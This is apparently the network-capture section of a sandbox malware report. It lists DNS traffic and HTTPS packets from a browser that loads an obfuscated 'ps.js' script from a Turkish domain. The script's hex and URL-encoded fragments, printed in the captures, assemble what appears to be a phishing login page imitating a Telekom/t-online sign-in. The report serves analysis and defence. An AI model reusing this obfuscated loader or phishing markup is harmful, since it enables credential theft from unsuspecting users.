Mar 10, 2025 13:58:42.586539030 CET	192.168.2.6	1.1.1.1	0x63ef	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:42.599183083 CET	192.168.2.6	1.1.1.1	0x1	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 13:56:12.567388058 CET	1.1.1.1	192.168.2.6	0x51d6	No error (0)	said.yasarmuhendislik.com.tr		46.31.79.76	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.626147032 CET	1.1.1.1	192.168.2.6	0x6a14	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.971725941 CET	1.1.1.1	192.168.2.6	0xd47d	No error (0)	email.t-online.de		62.153.158.211	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.972110987 CET	1.1.1.1	192.168.2.6	0x8c78	No error (0)	accounts.login.idm.telekom.com	login.production-v.p5x.telekom.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:56:16.972110987 CET	1.1.1.1	192.168.2.6	0x8c78	No error (0)	login.production-v.p5x.telekom.net	login.production.p5x.telekom.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:56:16.972110987 CET	1.1.1.1	192.168.2.6	0x8c78	No error (0)	login.production.p5x.telekom.net		80.146.236.47	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973232031 CET	1.1.1.1	192.168.2.6	0xa87d	No error (0)	accounts.login.idm.telekom.com	login.production-v.p5x.telekom.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973232031 CET	1.1.1.1	192.168.2.6	0xa87d	No error (0)	login.production-v.p5x.telekom.net	login.production.p5x.telekom.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973364115 CET	1.1.1.1	192.168.2.6	0x3d1	No error (0)	cdn.tailwindcss.com			65	IN (0x0001)	false
Mar 10, 2025 13:56:16.973375082 CET	1.1.1.1	192.168.2.6	0x996f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973375082 CET	1.1.1.1	192.168.2.6	0x996f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973375082 CET	1.1.1.1	192.168.2.6	0x996f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973375082 CET	1.1.1.1	192.168.2.6	0x996f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973932981 CET	1.1.1.1	192.168.2.6	0x10df	No error (0)	cdn.tailwindcss.com		172.67.41.16	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973932981 CET	1.1.1.1	192.168.2.6	0x10df	No error (0)	cdn.tailwindcss.com		104.22.21.144	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973932981 CET	1.1.1.1	192.168.2.6	0x10df	No error (0)	cdn.tailwindcss.com		104.22.20.144	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.973974943 CET	1.1.1.1	192.168.2.6	0x3b69	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 10, 2025 13:56:16.974056959 CET	1.1.1.1	192.168.2.6	0xb78e	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.974056959 CET	1.1.1.1	192.168.2.6	0xb78e	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.974293947 CET	1.1.1.1	192.168.2.6	0x7920	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.974293947 CET	1.1.1.1	192.168.2.6	0x7920	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:56:16.974706888 CET	1.1.1.1	192.168.2.6	0xa90e	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 10, 2025 13:56:19.608822107 CET	1.1.1.1	192.168.2.6	0x512e	No error (0)	email.t-online.de		62.153.158.211	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:22.552171946 CET	1.1.1.1	192.168.2.6	0xb141	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:22.552171946 CET	1.1.1.1	192.168.2.6	0xb141	No error (0)	beacons-handoff.gcp.gvt2.com		216.58.206.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:22.552550077 CET	1.1.1.1	192.168.2.6	0xcce6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:23.577538013 CET	1.1.1.1	192.168.2.6	0xec00	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:23.577538013 CET	1.1.1.1	192.168.2.6	0xec00	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:23.577877998 CET	1.1.1.1	192.168.2.6	0x9f38	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:25.609622002 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:25.609622002 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:26.610832930 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:26.610832930 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:27.609956026 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:27.609956026 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:29.609642029 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:29.609642029 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:33.624588013 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:57:33.624588013 CET	1.1.1.1	192.168.2.6	0x7348	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:38.551666021 CET	1.1.1.1	192.168.2.6	0xb2e8	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:39.577783108 CET	1.1.1.1	192.168.2.6	0x1255	No error (0)	beacons.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:41.610775948 CET	1.1.1.1	192.168.2.6	0x5773	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:42.624577045 CET	1.1.1.1	192.168.2.6	0x5773	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:43.640415907 CET	1.1.1.1	192.168.2.6	0x5773	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:45.640439987 CET	1.1.1.1	192.168.2.6	0x5773	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:49.656246901 CET	1.1.1.1	192.168.2.6	0x5773	No error (0)	beacons.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:54.551692963 CET	1.1.1.1	192.168.2.6	0x3f50	No error (0)	beacons2.gvt2.com		172.217.19.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:55.563374996 CET	1.1.1.1	192.168.2.6	0x1926	No error (0)	beacons2.gvt2.com		216.58.221.195	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:57.594692945 CET	1.1.1.1	192.168.2.6	0xd9ce	No error (0)	beacons2.gvt2.com		209.85.145.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:58.612154961 CET	1.1.1.1	192.168.2.6	0xd9ce	No error (0)	beacons2.gvt2.com		209.85.145.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:57:59.624851942 CET	1.1.1.1	192.168.2.6	0xd9ce	No error (0)	beacons2.gvt2.com		209.85.145.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:01.640480995 CET	1.1.1.1	192.168.2.6	0xd9ce	No error (0)	beacons2.gvt2.com		209.85.145.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:05.640793085 CET	1.1.1.1	192.168.2.6	0xd9ce	No error (0)	beacons2.gvt2.com		209.85.145.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:10.551248074 CET	1.1.1.1	192.168.2.6	0x1b9c	No error (0)	beacons3.gvt2.com		172.217.16.195	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:11.564604998 CET	1.1.1.1	192.168.2.6	0xce74	No error (0)	beacons3.gvt2.com		172.217.16.195	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:13.594760895 CET	1.1.1.1	192.168.2.6	0xc633	No error (0)	beacons3.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:14.610045910 CET	1.1.1.1	192.168.2.6	0xc633	No error (0)	beacons3.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:15.625202894 CET	1.1.1.1	192.168.2.6	0xc633	No error (0)	beacons3.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:17.641254902 CET	1.1.1.1	192.168.2.6	0xc633	No error (0)	beacons3.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:21.656322956 CET	1.1.1.1	192.168.2.6	0xc633	No error (0)	beacons3.gvt2.com		142.250.185.131	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:26.555965900 CET	1.1.1.1	192.168.2.6	0xb399	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:27.578803062 CET	1.1.1.1	192.168.2.6	0x62b4	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:29.609886885 CET	1.1.1.1	192.168.2.6	0xe609	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:30.624733925 CET	1.1.1.1	192.168.2.6	0xe609	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:31.640414000 CET	1.1.1.1	192.168.2.6	0xe609	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:33.640404940 CET	1.1.1.1	192.168.2.6	0xe609	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:37.640717983 CET	1.1.1.1	192.168.2.6	0xe609	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:38.551018953 CET	1.1.1.1	192.168.2.6	0xb2a3	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:38.551018953 CET	1.1.1.1	192.168.2.6	0xb2a3	No error (0)	beacons-handoff.gcp.gvt2.com		216.58.206.67	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:38.552787066 CET	1.1.1.1	192.168.2.6	0x5b1b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:39.562696934 CET	1.1.1.1	192.168.2.6	0x92ea	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:39.562696934 CET	1.1.1.1	192.168.2.6	0x92ea	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:39.564611912 CET	1.1.1.1	192.168.2.6	0x6071	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:41.594399929 CET	1.1.1.1	192.168.2.6	0x63ef	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:41.594399929 CET	1.1.1.1	192.168.2.6	0x63ef	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:58:43.082392931 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:58:43.082392931 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.116.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

said.yasarmuhendislik.com.tr

code.jquery.com

cdnjs.cloudflare.com

email.t-online.de

accounts.login.idm.telekom.com

beacons.gcp.gvt2.com

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49725	172.217.18.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 10, 2025 13:56:26.239062071 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 10, 2025 13:56:26.879218102 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 10 Mar 2025 12:36:37 GMT Expires: Mon, 10 Mar 2025 13:26:37 GMT Age: 1189 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 10, 2025 13:56:26.885345936 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 10, 2025 13:56:27.070044994 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 10 Mar 2025 12:35:54 GMT Expires: Mon, 10 Mar 2025 13:25:54 GMT Age: 1232 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49694	46.31.79.76	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:15 UTC	626	OUT	GET /ps.js HTTP/1.1 Host: said.yasarmuhendislik.com.tr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:16 UTC	479	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Mon, 17 Mar 2025 12:56:15 GMT content-type: application/javascript last-modified: Tue, 04 Mar 2025 11:04:07 GMT accept-ranges: bytes content-length: 92095 date: Mon, 10 Mar 2025 12:56:15 GMT vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-03-10 12:56:16 UTC	889	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 30 41 25 32 30 25 32 30 25 33 43 25 32 31 25 34 34 25 34 46 25 34 33 25 35 34 25 35 39 25 35 30 25 34 35 25 32 30 25 34 38 25 35 34 25 34 44 25 34 43 25 32 30 25 35 30 25 35 35 25 34 32 25 34 43 25 34 39 25 34 33 25 32 30 25 32 32 25 32 44 25 32 46 25 32 46 25 35 37 25 33 33 25 34 33 25 32 46 25 32 46 25 34 34 25 35 34 25 34 34 25 32 30 25 34 38 25 35 34 25 34 44 25 34 43 25 32 30 25 33 34 25 32 45 25 33 30 25 33 31 25 32 30 25 35 34 25 37 32 25 36 31 25 36 45 25 37 33 25 36 39 25 37 34 25 36 39 25 36 46 25 36 45 25 36 31 25 36 43 25 32 46 25 32 46 25 34 35 25 34 45 25 32 32 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 32 25 36 38 25 37 34 25 37 Data Ascii: document.write(unescape('%0A%20%20%3C%21%44%4F%43%54%59%50%45%20%48%54%4D%4C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44%54%44%20%48%54%4D%4C%20%34%2E%30%31%20%54%72%61%6E%73%69%74%69%6F%6E%61%6C%2F%2F%45%4E%22%0A%20%20%20%20%20%20%20%22%68%74%7
2025-03-10 12:56:16 UTC	14994	IN	Data Raw: 25 32 30 25 36 32 25 37 39 25 32 30 25 36 34 25 36 35 25 36 36 25 36 31 25 37 35 25 36 43 25 37 34 25 32 30 25 32 41 25 32 46 25 30 41 25 30 39 25 30 39 25 30 39 25 30 39 25 37 30 25 36 46 25 37 33 25 36 39 25 37 34 25 36 39 25 36 46 25 36 45 25 33 41 25 32 30 25 36 36 25 36 39 25 37 38 25 36 35 25 36 34 25 33 42 25 32 30 25 32 46 25 32 41 25 32 30 25 35 33 25 37 34 25 36 31 25 37 39 25 32 30 25 36 39 25 36 45 25 32 30 25 37 30 25 36 43 25 36 31 25 36 33 25 36 35 25 32 30 25 32 41 25 32 46 25 30 41 25 30 39 25 30 39 25 30 39 25 30 39 25 37 41 25 32 44 25 36 39 25 36 45 25 36 34 25 36 35 25 37 38 25 33 41 25 32 30 25 33 31 25 33 42 25 32 30 25 32 46 25 32 41 25 32 30 25 35 33 25 36 39 25 37 34 25 32 30 25 36 46 25 36 45 25 32 30 25 37 34 25 36 46 25 37 30 Data Ascii: %20%62%79%20%64%65%66%61%75%6C%74%20%2A%2F%0A%09%09%09%09%70%6F%73%69%74%69%6F%6E%3A%20%66%69%78%65%64%3B%20%2F%2A%20%53%74%61%79%20%69%6E%20%70%6C%61%63%65%20%2A%2F%0A%09%09%09%09%7A%2D%69%6E%64%65%78%3A%20%31%3B%20%2F%2A%20%53%69%74%20%6F%6E%20%74%6F%70
2025-03-10 12:56:16 UTC	16384	IN	Data Raw: 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 43 25 36 39 25 36 45 25 36 42 25 32 30 25 37 32 25 36 35 25 36 43 25 33 44 25 32 32 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 37 33 25 36 38 25 36 35 25 36 35 25 37 34 25 32 32 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 44 25 32 32 25 37 34 25 36 35 25 37 38 25 37 34 25 32 46 25 36 33 25 37 33 25 37 33 25 32 32 25 32 30 25 36 38 25 37 32 25 36 35 25 36 36 25 33 44 25 32 32 25 32 46 25 37 33 25 37 34 25 36 31 25 37 34 25 36 39 25 36 33 25 32 46 25 37 33 25 36 33 25 36 31 25 36 43 25 36 35 25 32 46 25 36 33 25 37 33 25 37 33 25 32 46 25 36 43 25 36 46 25 36 37 25 36 39 25 36 45 25 32 44 25 33 32 25 33 36 25 32 45 25 33 31 25 33 36 25 32 45 25 33 30 25 32 45 25 36 33 25 37 33 25 37 33 25 32 32 Data Ascii: %20%20%20%20%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%68%72%65%66%3D%22%2F%73%74%61%74%69%63%2F%73%63%61%6C%65%2F%63%73%73%2F%6C%6F%67%69%6E%2D%32%36%2E%31%36%2E%30%2E%63%73%73%22
2025-03-10 12:56:16 UTC	16384	IN	Data Raw: 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 31 25 36 33 25 36 33 25 36 46 25 37 35 25 36 45 25 37 34 25 32 44 25 37 33 25 37 37 25 36 39 25 37 34 25 36 33 25 36 38 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 Data Ascii: 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%61%63%63%6F%75%6E%74%2D%73%77%69%74%63%68%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
2025-03-10 12:56:16 UTC	16384	IN	Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 46 25 36 37 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 Data Ascii: 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%67%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2
2025-03-10 12:56:16 UTC	16384	IN	Data Raw: 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 39 25 36 43 25 36 43 25 32 44 25 37 32 25 37 35 25 36 43 25 36 35 25 33 44 25 32 32 25 36 35 25 37 36 25 36 35 25 36 45 25 36 46 25 36 34 25 36 34 25 32 32 25 33 45 25 33 43 25 32 46 25 37 30 25 36 31 25 37 34 25 36 38 25 33 45 25 30 41 25 32 30 25 32 30 Data Ascii: %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%69%6C%6C%2D%72%75%6C%65%3D%22%65%76%65%6E%6F%64%64%22%3E%3C%2F%70%61%74%68%3E%0A%20%20
2025-03-10 12:56:16 UTC	10676	IN	Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 46 25 36 36 25 36 46 25 37 32 25 36 44 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 46 25 36 34 25 36 39 25 37 36 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 Data Ascii: 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49708	151.101.194.137	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:18 UTC	609	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:19 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2271204 Date: Mon, 10 Mar 2025 12:56:19 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1741611379.087528,VS0,VE1 Vary: Accept-Encoding
